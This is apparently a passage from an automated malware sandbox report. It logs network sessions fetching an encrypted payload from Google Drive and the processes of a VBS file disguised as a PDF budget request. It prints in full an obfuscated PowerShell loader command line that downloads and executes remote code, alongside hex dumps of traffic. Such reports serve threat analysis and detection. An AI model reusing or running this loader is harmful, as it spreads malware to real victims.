vNpNTJqZQUaFH+AWAbtQS7dmBsa7KBZrbf1vd4C5iaFOUWmyaJr4ZDp1gJ/64qZ8NjiHfb++fB/kkUjJIGukWANe/8YXOSe+l6N4feGauh5/6JwAl9D0aoYCGNcb3fbPtlQQ/TW+4M8Q4jJPv1YhVew5Lp59euRGhdeukjTBeiPiPQDIleKHRWTNZH2T7GpNarXGWbJtgdbaV10oVGYgxwSY0O23LTLqAZx0M1tzmlMN3spnlbOEJQ42arWHhDI
2024-10-02 05:18:33 UTC	1390	IN	Data Raw: 75 39 6a 63 51 79 2f 55 30 79 38 2b 56 48 4d 59 50 66 54 74 62 30 47 48 4f 6d 58 43 50 35 43 41 6a 65 71 59 51 43 6e 41 35 43 72 48 77 61 46 4f 38 63 76 37 75 52 35 52 4a 77 59 4f 38 43 2f 54 4a 74 37 34 34 33 65 52 6a 58 58 75 49 47 6e 44 78 76 2b 38 68 61 32 6d 62 68 73 50 68 63 4d 51 66 4b 44 38 76 46 66 76 46 63 70 58 2f 48 56 65 45 62 43 33 2f 46 34 78 36 72 64 7a 64 4e 38 39 61 61 43 30 39 6e 58 54 4c 42 64 77 65 67 68 6a 33 75 32 79 42 2f 4a 59 75 6c 61 30 42 53 77 50 55 45 46 30 65 4a 50 37 75 6b 5a 39 37 76 65 46 33 53 36 67 2b 6d 71 58 6d 58 50 34 48 59 75 5a 6f 44 4b 61 76 34 79 46 33 64 68 49 73 68 69 34 6f 5a 66 58 37 63 52 35 79 38 72 30 42 6e 35 2f 4e 4c 6c 68 39 66 77 56 43 76 30 74 4c 61 4e 33 4d 2b 69 37 7a 32 43 4a 74 78 71 68 56 78 44 Data Ascii: u9jcQy/U0y8+VHMYPfTtb0GHOmXCP5CAjeqYQCnA5CrHwaFO8cv7uR5RJwYO8C/TJt7443eRjXXuIGnDxv+8ha2mbhsPhcMQfKD8vFfvFcpX/HVeEbC3/F4x6rdzdN89aaC09nXTLBdweghj3u2yB/JYula0BSwPUEF0eJP7ukZ97veF3S6g+mqXmXP4HYuZoDKav4yF3dhIshi4oZfX7cR5y8r0Bn5/NLlh9fwVCv0tLaN3M+i7z2CJtxqhVxD
2024-10-02 05:18:33 UTC	1390	IN	Data Raw: 6d 49 6e 69 41 6b 68 2f 41 74 79 7a 39 7a 61 6e 76 50 62 45 69 72 7a 32 78 49 71 38 39 73 53 4b 76 50 62 45 69 72 7a 32 78 49 71 38 39 73 53 4b 76 50 62 64 79 6e 7a 49 63 38 7a 64 56 2f 77 6c 71 41 4e 79 2b 69 2b 4e 30 6c 4a 69 72 55 38 2f 39 2f 54 45 69 6e 43 66 53 66 64 4d 6c 2b 59 64 7a 77 68 32 6a 48 72 78 61 77 4f 78 4d 70 44 64 74 34 55 74 50 77 73 65 6e 4f 4d 4e 52 73 7a 4c 6f 75 4a 69 68 62 77 6f 41 59 71 38 39 73 53 4b 76 50 62 45 69 72 7a 32 78 49 71 38 39 73 53 4b 76 50 62 45 69 72 7a 32 78 49 71 38 37 44 34 68 52 71 39 6e 67 4e 67 52 77 6d 50 51 6a 4a 65 65 50 6b 35 44 4b 6c 51 65 58 59 36 38 66 59 6d 57 36 6b 69 31 76 67 53 54 52 58 78 43 33 53 41 50 50 54 44 44 6b 43 4d 47 52 55 78 6d 44 63 43 6c 4e 63 6a 39 54 76 6c 2b 45 6f 43 79 55 62 6f Data Ascii: mIniAkh/Atyz9zanvPbEirz2xIq89sSKvPbEirz2xIq89sSKvPbdynzIc8zdV/wlqANy+i+N0lJirU8/9/TEinCfSfdMl+Ydzwh2jHrxawOxMpDdt4UtPwsenOMNRszLouJihbwoAYq89sSKvPbEirz2xIq89sSKvPbEirz2xIq87D4hRq9ngNgRwmPQjJeePk5DKlQeXY68fYmW6ki1vgSTRXxC3SAPPTDDkCMGRUxmDcClNcj9Tvl+EoCyUbo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	59082	172.217.18.110	443	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 05:19:04 UTC	216	OUT	GET /uc?export=download&id=1lSqiaJ46oNlphq9JFrSKXLLdPu84s4pt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Host: drive.google.com Cache-Control: no-cache
2024-10-02 05:19:05 UTC	1610	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 02 Oct 2024 05:19:05 GMT Location: https://drive.usercontent.google.com/download?id=1lSqiaJ46oNlphq9JFrSKXLLdPu84s4pt&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-fUsFJEFEND24o86MUoRH9g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	59083	142.250.186.161	443	8076	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-02 05:19:05 UTC	258	OUT	GET /download?id=1lSqiaJ46oNlphq9JFrSKXLLdPu84s4pt&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-10-02 05:19:08 UTC	4859	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="sLgRDOfJZMJPu27.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 106560 Last-Modified: Mon, 30 Sep 2024 03:50:27 GMT X-GUploader-UploadID: AD-8ljuWSCsPe3F9Xw5RPHhN-mpVxLyii7yHD2hHTgKaK8Q9695n6QdKkralx-Fg6uhCw2cSHzkU9843Rw Date: Wed, 02 Oct 2024 05:19:08 GMT Expires: Wed, 02 Oct 2024 05:19:08 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=p83L0w== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-02 05:19:08 UTC	4859	IN	Data Raw: b8 07 0c 49 27 ce aa e4 0a 98 3b 76 f9 30 60 ec 72 9a d6 19 43 3c ab 37 e3 98 7e 24 c7 3a 7e 9b ee fd a4 1d c4 7a b3 4f 4f 5b 4d b3 f8 99 24 df 0d af 8e 34 18 17 17 e9 b0 85 05 23 62 eb a3 a9 b9 e1 d8 cb b9 c1 9b 65 8a 7d 99 85 4b de 44 35 09 f4 ac d2 18 25 27 10 eb 2f 6b 01 00 20 75 b5 cf 59 89 01 3b 86 5d 9b 5c 1a 9f b3 59 f6 e9 de bc 3c 45 3e 8c 1b 0d 7f 67 55 9b e7 a9 e2 42 cf 59 b8 d7 08 f6 b2 f6 22 40 da 7a b5 2b f7 bf f8 57 8c 06 2c a8 8e 25 2d 2e fe d4 f1 4c 7b 76 19 5e 73 71 a5 a2 24 a2 9d 78 a4 d9 4e fc a9 fb c8 93 b9 1f 4d a1 da 1d f7 7c e3 2b 1b e8 4f 14 b8 18 a9 7a 48 9c b2 8f 9e 7c 03 f2 e4 ff a5 a3 91 45 32 b4 7f 57 0c f4 9a 87 27 00 96 5c 13 99 46 5c ed b4 0b a9 6c 47 b4 ca 34 c3 e3 b8 de 33 1d b1 ac 73 c7 d9 d5 61 9b 12 97 3b 32 20 c0 7f Data Ascii: I';v0`rC<7~$:~zOO[M$4#be}KD5%'/k uY;]\Y<E>gUBY"@z+W,%-.L{v^sq$xNM\|+OzH\|E2W'\F\lG43sa;2
2024-10-02 05:19:08 UTC	4859	IN	Data Raw: 2e c6 f9 82 64 4b 89 92 b3 22 70 1c 63 f9 eb 58 92 f6 9a 95 6e ba fc 6a b7 1b c5 97 6e 28 4d 53 29 f4 31 8a 51 05 a9 ce e8 44 6b 21 0a c8 7b 71 67 62 eb 51 34 4e b8 8e cf e5 91 57 90 96 74 e6 f0 88 2e 24 a6 e3 ad c7 7c c2 25 e5 e7 5c 3d d9 10 e6 40 74 9f 16 7a 20 fd 96 85 00 6b 6a e6 f8 e7 be 40 10 90 84 bc 55 d0 c1 8f ef 47 c0 61 82 18 ae 3e 6a e1 9b 39 f9 a8 3f 07 26 dd 18 42 cc da d8 74 b2 4e 5c db 14 bf 7e 95 8e c2 99 14 d5 9d bb 33 bb e0 c4 f0 42 96 0b a9 bd 4e cd fc c6 91 db 44 02 0f 0d 38 75 4f 0f 7c 44 04 f4 33 1e 58 ef 6e e5 13 f1 68 76 38 00 40 df 28 2c d7 db d0 98 e6 47 68 85 17 49 10 63 ad 21 56 c0 9b 42 3f cd 1d 34 d2 77 18 2f d8 90 eb 29 03 d4 c5 6f 1e 9c 40 f7 fb df c6 2c cb 64 64 36 06 1a 25 1f 15 56 86 60 d0 32 74 0b ec b3 d7 ed a6 d4 87 Data Ascii: .dK"pcXnjn(MS)1QDk!{qgbQ4NWt.$\|%\=@tz kj@UGa>j9?&BtN\~3BND8uO\|D3Xnhv8@(,GhIc!VB?4w/)o@,dd6%V`2t
2024-10-02 05:19:08 UTC	119	IN	Data Raw: f6 46 e2 e0 62 7f 1e a7 8c 80 1c 34 be e0 11 08 21 20 bd 8b 62 bf 57 b4 fe f1 59 3f da 2a 6f 1f 14 96 6a 0c 23 ec 43 18 33 a7 b7 cd 29 06 40 83 04 8d 37 df 8f dd dd 9c 08 7e f0 6e ed 59 d8 90 30 72 ea 29 7d 64 8a a4 17 1e 61 e6 4c 19 f2 96 3b 5b 3a 35 71 8e fa 46 d2 95 2b 46 37 dc c2 2a 1d 04 13 c9 33 5c ec 42 a1 f5 20 c4 f4 be 51 a8 f0 7f d5 9e 54 b8 a9 Data Ascii: Fb4! bWY?oj#C3)@7~nY0r)}daL;[:5qF+F73\B QT
2024-10-02 05:19:08 UTC	1325	IN	Data Raw: 54 87 a3 08 fa cc 9f c9 15 bf 75 b9 c3 ca a0 f4 e1 20 cb 00 dc 33 a5 70 e6 56 74 e4 23 fa bd ca e9 0d 11 d4 3e d0 63 63 d6 c2 96 7f 48 32 01 d0 3b 8f e3 ba d2 e3 de 25 cc 41 7c 2d 87 61 e9 52 7d 1a 45 85 78 50 72 10 0f c3 38 fc 28 fc 69 4a bd e6 ef 6f f2 1b 64 bf db 2e 1c 26 fd ad 1d 62 f3 5b fd 3d c0 08 b3 68 d2 c1 ea 20 10 74 48 a0 86 78 8d 2f 7e fe 78 c8 a7 8a 9a 48 15 bb 48 64 b4 9e 3d 50 f5 05 c0 81 c8 4c 5d ad cc ad 34 f2 36 45 1f 68 8b c0 50 df c6 3d e7 25 c6 97 ef 69 86 24 94 b2 be 42 4a 9c 19 02 96 86 6c ae aa e0 60 46 94 81 36 bc a6 b6 0a c1 0b 87 b0 21 33 be d1 61 b3 08 f0 2f 54 a5 42 d1 22 8e ab ec 08 9c ab e8 77 9f 41 01 50 c6 54 cb 06 7e ad 6f 01 fd d0 b5 9a 47 65 f8 a5 e5 93 29 8f 9b 88 9b 97 f5 7a 92 a5 e1 d1 48 36 97 5d e7 ae 43 54 3c 4d Data Ascii: Tu 3pVt#>ccH2;%A\|-aR}ExPr8(iJod.&b[=h tHx/~xHHd=PL]46EhP=%i$BJl`F6!3a/TB"wAPT~oGe)zH6]CT<M
2024-10-02 05:19:08 UTC	1390	IN	Data Raw: 4b 0e ef bd 33 d2 dd 2f 38 3f 83 8a 47 e9 c6 1a f9 b5 fa 4f 32 66 44 cc 4d 2a d2 30 e4 55 09 79 fa 9e 44 5c c2 a8 03 2b 00 ec 2b 9e 46 78 9a 80 27 16 2a fc da 4f 98 cb 23 bb 84 0b 4e b2 98 ef d6 03 3b fa 75 aa a7 19 93 68 8c 3f ea 00 cf af ee 35 e9 85 b4 97 0e 28 5e ae 6a 42 1f da 44 7d 63 1f 8b ed 10 7d aa 36 e4 14 df 5b af d9 17 7f 9c df d4 1f 7c 9b af 2e c8 33 81 60 4d 0d 10 6c 8d 41 af 41 2f 2e 36 cb da e5 f1 4f b0 36 f0 6b df 86 60 ff 26 de 9e 64 67 53 09 d9 17 4d d0 24 da ac 82 4d fe 46 72 61 9e 0e c2 11 21 54 b4 d7 bf 14 db 33 94 1e 22 84 8b 46 7d 05 18 39 40 92 b9 c9 14 2c 47 e3 82 ae c9 b9 25 ef df d1 e3 5e c5 88 85 c6 d3 97 80 7e 20 21 1d 18 b8 b9 28 e3 2a cb e7 7d 44 cb e5 e8 ff ea 23 f0 06 32 38 ac 0e 37 22 d6 34 ca 11 c5 e6 8c 9f 65 08 35 d5 Data Ascii: K3/8?GO2fDM0UyD\++Fx'O#N;uh?5(^jBD}c}6[\|.3`MlAA/.6O6k`&dgSM$MFra!T3"F}9@,G%^~ !(*}D#287"4e5
2024-10-02 05:19:08 UTC	1390	IN	Data Raw: d4 9b 77 be 42 6a d1 cc 81 bf b3 21 1f 58 f4 3c 2c 74 3f d2 de 5f 97 27 45 c1 b7 6c be e3 de aa d1 a5 2c b8 20 c0 d2 dd d7 8f 75 42 b6 b2 51 80 69 e8 2a 6a 55 79 2e b3 53 36 b1 60 dc 60 81 10 d7 0b ce d3 2b 8f d0 6b 46 c6 b0 9a 2e 64 e1 a8 1b e6 ba 10 5e a7 a6 c1 44 2b fa 0c 73 e0 ce 91 f3 44 17 41 81 97 b0 bc b9 4b 00 69 7f 5c 21 c1 10 e6 92 b3 fe c2 71 2a fd bd 55 9f 26 e0 e2 f9 f8 fa 41 d4 b7 5a 6b 9d 77 ca 8d c0 5c 1a 8a 7d 41 2d c6 7e 9e 11 ed cd c8 3a 3b 63 53 46 81 ff 99 78 b5 e8 4b 1b 87 fd 4f 08 3e 55 b7 99 7e 40 75 eb 31 38 22 69 f4 96 3f 03 12 03 a4 cf ac 12 ee 24 12 7d da fa 8d f1 b9 74 90 ce 40 d0 fc 50 14 a3 62 3f 06 d5 b4 e8 ae ce 10 28 fb 9d 73 ab d9 68 e9 68 e3 c1 33 32 16 5b cc 43 4a fa 3d 55 e9 12 21 52 dc 18 ab d1 e5 e4 72 be 05 06 a5 Data Ascii: wBj!X<,t?_'El, uBQijUy.S6``+kF.d^D+sDAKi\!qU&AZkw\}A-~:;cSFxKO>U~@u18"i?$}t@Pb?(shh32[CJ=U!Rr
2024-10-02 05:19:08 UTC	1390	IN	Data Raw: 59 4e c6 5b 14 5f bc 82 ce 8c 43 d2 fb 26 22 d4 3f 46 51 01 e4 2b fa c7 f0 b3 6f ad e2 c3 0c 51 e1 cd 33 e6 e9 f1 60 79 4b 4e dd 31 1b 53 2d 4e 73 d8 65 a7 d0 1e 09 68 2c 24 f4 cf 0f 76 d1 08 46 02 c5 d7 ff c2 70 0c 7d 05 ed 7c 6c 15 56 e2 93 c8 b5 37 bd cd 08 a6 1d 2a c9 77 a7 6d f9 83 0e 00 3f 3c a1 2e 72 0a 5d ae 80 bb 3f 53 4b 25 94 4e 66 0a 87 80 9b c5 67 02 76 2a 50 d3 2b 87 be 87 e9 58 cd ee 04 b8 b6 57 9d f2 29 0e 20 67 d2 10 fd 58 60 ef 0b b5 8c 41 33 38 35 54 e1 27 e8 cf 65 9c 27 5f b3 9e 5f 3c 49 38 0e df 3c 21 5f b4 5f 4c 84 4b 3b bc bb d9 bd b9 4d ad a6 e0 3f 24 11 08 d6 bb b6 b0 8d da c4 7a 56 33 02 0e d7 cd d8 c5 ab 6e 71 56 93 03 45 7e a2 66 75 04 79 24 7c a5 0b 19 33 1f 99 09 b7 b2 30 03 ec b0 b0 14 89 c9 66 85 99 9c 1c 9b 92 d1 a0 3d 50 Data Ascii: YN[_C&"?FQ+oQ3`yKN1S-Nseh,$vFp}\|lV7wm?<.r]?SK%NfgvP+XW) gX`A385T'e'__<I8<!__LK;M?$zV3nqVE~fuy$\|30f=P
2024-10-02 05:19:08 UTC	1390	IN	Data Raw: ea b6 23 9e f9 70 72 90 4e 0f 36 1f 44 49 ac d5 38 76 91 e6 bb 51 1c 93 29 6d e7 da 35 c0 12 22 1d f1 ff 14 93 2d 1a a6 ab d0 e6 33 3c d5 61 c4 ec f6 ab c8 52 f2 28 59 cf b4 78 61 72 7b 7c a5 68 4d 88 b5 f8 70 a1 f3 fd 39 15 19 47 8a e3 3f 96 19 f8 41 8d 30 b9 c7 59 84 6a b3 9a 3f ad 4b 79 f7 ea f3 ce 2a 2a 51 cb 85 35 db 6d 2e 21 ce 65 b2 ec f6 96 46 5d cf c3 0a e4 39 12 aa bc 16 52 e5 0b 02 00 38 0d 51 6a a8 7c 75 2c 60 8a 6b 3c f5 cf cb 7e d1 b6 8c a7 4c 09 d3 bd b4 a3 c8 5d 93 f8 5f af 88 fd 0b 12 bf f3 2d bf 25 4b 4d 26 ed d7 5e a4 73 07 44 b7 92 e5 4a 5d 3b 05 98 c4 46 e1 aa a8 64 82 34 fc 82 70 f8 8b bc 4e 7f e2 44 fc c8 1c 5c 30 a6 04 4c c7 d7 a2 ee 54 e5 4f 38 1c 0a 62 3b e1 ff 10 b5 60 e4 78 77 8f 1a 64 18 a6 bb c7 0f 22 a5 30 c5 a6 6c ff 10 14 Data Ascii: #prN6DI8vQ)m5"-3<aR(Yxar{\|hMp9G?A0Yj?Ky**Q5m.!eF]9R8Qj\|u,`k<~L]_-%KM&^sDJ];Fd4pND\0LTO8b;`xwd"0l
2024-10-02 05:19:08 UTC	1390	IN	Data Raw: 6f 38 a5 94 83 ff f7 8b 1f 9c 6a b0 60 97 76 92 4a 45 45 3d 69 23 d7 ef 57 9b 23 c1 55 b9 35 50 33 48 6a 0e 39 39 d9 53 56 55 31 44 f0 cb 20 fe a2 75 eb 28 04 ff 4e 17 fe 50 cc de b8 c1 1f 2f d2 cd 53 51 3c 68 79 27 8a 45 64 7b d5 79 ad 67 bb aa b0 7c 20 cb d0 12 2c 8c cb 32 99 a8 24 4e bf 92 c8 b3 b6 0a d2 e2 f1 57 35 be 68 96 8e 06 d7 0f 16 ae d1 98 96 5f 71 35 74 f0 86 4e 55 98 13 bf 22 fb 8f 4b 98 9f d4 93 ca 7e ee 71 cb ec 48 9d be 38 03 64 b9 9a b8 69 7e 02 b4 90 e8 43 df ca 93 9b 18 47 ba 50 72 78 f9 d7 10 ae 16 b4 74 1f e5 d5 b1 c9 5c b7 61 b6 f0 07 9a d4 24 e4 3e d6 39 a0 d6 66 39 cf 1c 77 cd 37 3a 01 69 26 e8 00 8a 65 4a 98 61 72 7b 7c 60 05 de 9c 3e 49 32 18 54 13 b8 f9 df 11 b9 15 75 96 bd fb 41 8d 4c d3 c5 5b d2 3c 24 dc 3d 0a fe 2f e8 e9 01 Data Ascii: o8j`vJEE=i#W#U5P3Hj99SVU1D u(NP/SQ<hy'Ed{yg\| ,2$NW5h_q5tNU"K~qH8di~CGPrxt\a$>9f9w7:i&eJar{\|`>I2TuAL[<$=/
2024-10-02 05:19:08 UTC	1390	IN	Data Raw: 71 ef 09 25 be 26 77 55 9c d2 b2 51 ad 2a 1c cf 02 fa 13 ba 9d 05 5e 01 f7 25 39 ac b6 b5 fe 23 6b 93 43 33 e6 91 c3 dc d9 ef 84 5b 93 bb ff 76 50 fd e9 b9 5c 27 98 c4 e8 35 68 a1 05 04 a0 0a b2 95 38 ca 50 9c 34 9d 26 0b 00 60 3a e1 20 28 e5 3c 4a d5 ed cb 41 8d 42 26 00 2c 65 e0 10 71 41 45 e3 ee 4f a0 2a 48 50 7e 12 e6 eb e7 14 27 7b 58 ff 18 91 c6 34 1c 4e 02 fa c0 e6 84 aa 29 e8 13 e1 98 c7 91 da 16 ad 4d 0a 8f 6f 2e 87 0c 24 8d b2 2d b1 95 3d 81 31 b9 b2 0a 34 f6 4e 26 c0 78 8b 95 31 d0 39 2c 3f 50 63 94 ce 00 c5 00 e4 3c 66 02 11 28 49 4a b0 e6 63 97 ec c6 a6 4d f7 b2 c5 e0 2f 31 b5 20 41 1e cb b0 86 ca 33 04 44 e7 9a 0d 2c 32 0e b4 13 03 ab 63 5a ae db 79 ec ac 33 3b 4a 09 1c 24 86 52 6f 22 4e 72 b0 89 a6 1f e3 39 8c 41 d9 39 83 07 71 8a c5 13 be Data Ascii: q%&wUQ^%9#kC3[vP\'5h8P4&`: (<JAB&,eqAEOHP~'{X4N)Mo.$-=14N&x19,?Pc<f(IJcM/1 A3D,2cZy3;J$Ro"Nr9A9q

Target ID:	0
Start time:	01:18:18
Start date:	02/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PERMINTAAN ANGGARAN (Universitas IPB) ID177888#U00b7pdf.vbs"
Imagebase:	0x7ff71cf20000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:18:20
Start date:	02/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Bjrgning Indicerede afskrkkelsesvaabnenes Halvfabrikatas Myosuture Skilteskrift Pensils #>;$Ammoniacs='Befragters';<#Avilion kendall kicking #>;$Attesterende=$host.PrivateData;If ($Attesterende) {$Jernbanelinier++;}function Preeliminator($Amagerhylde){$Drukkenbolten=$Chaussure+$Amagerhylde.Length-$Jernbanelinier;for( $Getling=5;$Getling -lt $Drukkenbolten;$Getling+=6){$Nordfljs180+=$Amagerhylde[$Getling];}$Nordfljs180;}function Glederens($Floraer207){ & ($Eftertragtelsers) ($Floraer207);}$Spisefrikvarteret=Preeliminator 'GelatMPhotooSdsupzss ori O belQu etlRenataamphi/ Tilh5Ve an.Not r0Udson Ind c(AfgasWSanitiLabi nHarpudptomaoBetraw Pl nsA.cum VedblNN,nmeT stfo so.si1 a ne0Opium.Jetti0foraa;,nman b,lthWModtai K otn ern6Ratba4Tynds;Koldk Supe xlegac6Cellm4 Triu;Rolni VinderMlescvMods,:per c1Parti2 Pre 1et al.Savne0Edgew)Belly TrickGS.cceeHeltic AfgrkOleogoVentr/Blods2 .isq0S,uth1Froko0S nsi0konde1Selek0Batus1Udkry DetonFH spiiVillarGenn eBlubbfCiffeoSalatxLabba/Midte1 Ver,2 V rg1 Over.Kem i0 oni ';$Melton=Preeliminator ' HandUUniveSAfs nEUnexprFrema- Blk AJackfgBr gaedekanN UflytAdnex ';$Tessituras160=Preeliminator 'FristhKvi dtB dbatLow,ip.recasLejei:E ter/Amati/S.mlidPret rSpeediHandlvSyzyge Pati.Ove sg Ri.goDemisoPelvigUnclelTwatceUnsu .Exo,ecUnco oFiskemMi mo/Mongcusja,kcAgrar? De.meMrkatx .ackp FantohkkerrConvetOblig=NulpudSstteoJordewEnaarnReceplSkinnoGla sa OpsadK mmu&Cir uiSv dsdMerin=Drift1NondeQSlutmt Tyk OKonsekIdesvBGyno JPagodW andgLStikpLintenxNonde3.erveD LiniwClonkBWall.CDivisg Au,oRGl tsLSpina8NonciQSy ecZzairiaTaxam0BonnnhKendeYSynenUPa il0MackiwSyndrtSundaSUdskrj Gnis7Syvaa ';$Reskaleringen=Preeliminator 'S,rig>Yu ca ';$Eftertragtelsers=Preeliminator 'BeaveiEforeeAttacX,ekto ';$Amazonernes='Chromophoric';$Cogida='\Reebok.Dia';Glederens (Preeliminator 'Lazur$SvmmegProatlK ledoCatalbRealiaBulbolDa ks:Cam oV RecreOvervrListedVaskoe Di inWa,ersThorphUdv siMattesSenegtS amnoMavefrIndfriKornfs prudk Raile ReoxsVerds=Polem$FusenedimminHal,fv Intr:Bj.rgaPseudpH micpBekradMajesaS efftOrakla ortr+blin $ReawoC BlinoBudmagDestii CoundMemoraElekt ');Glederens (Preeliminator 'Jingl$Mayb gGadenlStikkoMust b KnapaCourtlPligt:CroaptAn ihrHeroleParadbHy era K ncnHete eJanifn Lsni=Sente$ ConsT Mysteoutbls Sikks PseuiPatentSta iuAlb.tr,utokaPachosLevef1 M,mo6Fer d0 Chem.UnshisSta dp.bseslStockiScourtBr sk( Hete$someoRtoot.etros s AnalklokalaKreatl .epteUnfurrBarduiSarconStiklgAntife Lab n Lat,) anga ');Glederens (Preeliminator 'Flyde[S.empN I.laeNaziptDinor.YesteSForneerigorrKennevDybsiiHortecSaliceScootPTabacoFacahiHairin ma gt ,entMApplia Lil nTreadaDisd gSamlee CommrEmbub]Bitte:Cycli:GastrSFeltheHeatecA foru rnearAflsei OngotFie dy .odsPAvle rAndreo BlegtCastioop,racStyreoMu tilSeism Pres =Udhal Opspa[ BhutN Afk.e Knitt Udga.,artjS ropdeBundlcResiluS rivrEks.mi tiftT rsuyPaperPHenver Huxto MulitBoy,ooForskc UnceoKsnehlAdrenTVar,iyLat.rpFib seCythe],ermi:Aaben:Alei TR diolGrftesSolhj1 smad2Tubel ');$Tessituras160=$trebanen[0];$saurels=(Preeliminator 'algo,$Hepp.gRearrlSweenoAllerbD oleaAfgifLEfter:F lberBadgeeBaadfP,uperEKarritOpkl,iKrsantElledi RestO LiqunAmin ASekunR I.teYDiplo=Tran NMag,eE MisiWputre-NatarONd inbForldjR ulmeBasisCMidenTNonn. Rec.nSCac.cyCapriSO,idetPo,ygEsmaasMArcha.Flo snD pliEDemiotSt ns.Stam wB nebeSkrumbRep ocUdgralglitti Sm kE eklaN P.antvaler ');Glederens ($saurels);Glederens (Preeliminator ' Unsc$Limi.Rungare.edsppAmbuleSurintM,untiStrint,ovediPartso BalanCas,faLarrur MillyPerni.Em erHSkbneeTitteaP,otodRoyale Blksr ,ills rga[Omkr $IndfdM OvereRa iul fsbtHocklomousin krue]Asper=torre$ .icrSpamfipBlu pikontrsUndereCrossfSerabrSyntei CharkuratuvEddicaAh ldr ,rantkompoeEny lrHypaceNonqutFaglo ');$Band=Preeliminator 'Petau$nykalRDykkee St.rp MadoeCautitMyrici BlomtEpigri PreaoSt ernBasilaOsterrBankrydomes.Til gDFolkeoRemovwIn imn.krivlAf ilo Kursa Fa ldKnaldFBerthiOpfanlablace nat(Vir e$P.rseTRhinoeSammesArccosOverdiPangetx loguRegnorConyzaNon.osSva m1Pr nt6 Pell0Surre,Legul$ KawcBS unklCo.ntaOrdfjdSeriesAlette ,kanlC rollSvolveForeprTreski U ar) Hy,e ';$Bladselleri=$Verdenshistoriskes;Glederens (Preeliminator 'vitam$U irkGFarveLechoiOR litB eriAOvervLMishm:ProviUAkamndGalacSMonogTDi raiR,stbl etiLUdskreOverstaglyc=Dephl(Ge yrtAgerjEFremssPaupeTSacri-FiskepCl ngAsurpaTSchizhBlot Fdsel$ B atbBallylGj rdafrancDTh.otSMicroESoci,LB,uxiLTricoEAppriRFj,rdiMal,i)Smls ');while (!$Udstillet) {Glederens (Preeliminator 'Urede$St.ejg MetolCou soBeskfb SlgeaD athlgasap: ashlITelfonOversv TirsaNo malSsonaiBrug dAlthoeTailopSt kne Physn Sagas,rissiE bezo.accin rugsbl ck= Torv$ KelptArkairUnupbu Tet.e va.e ') 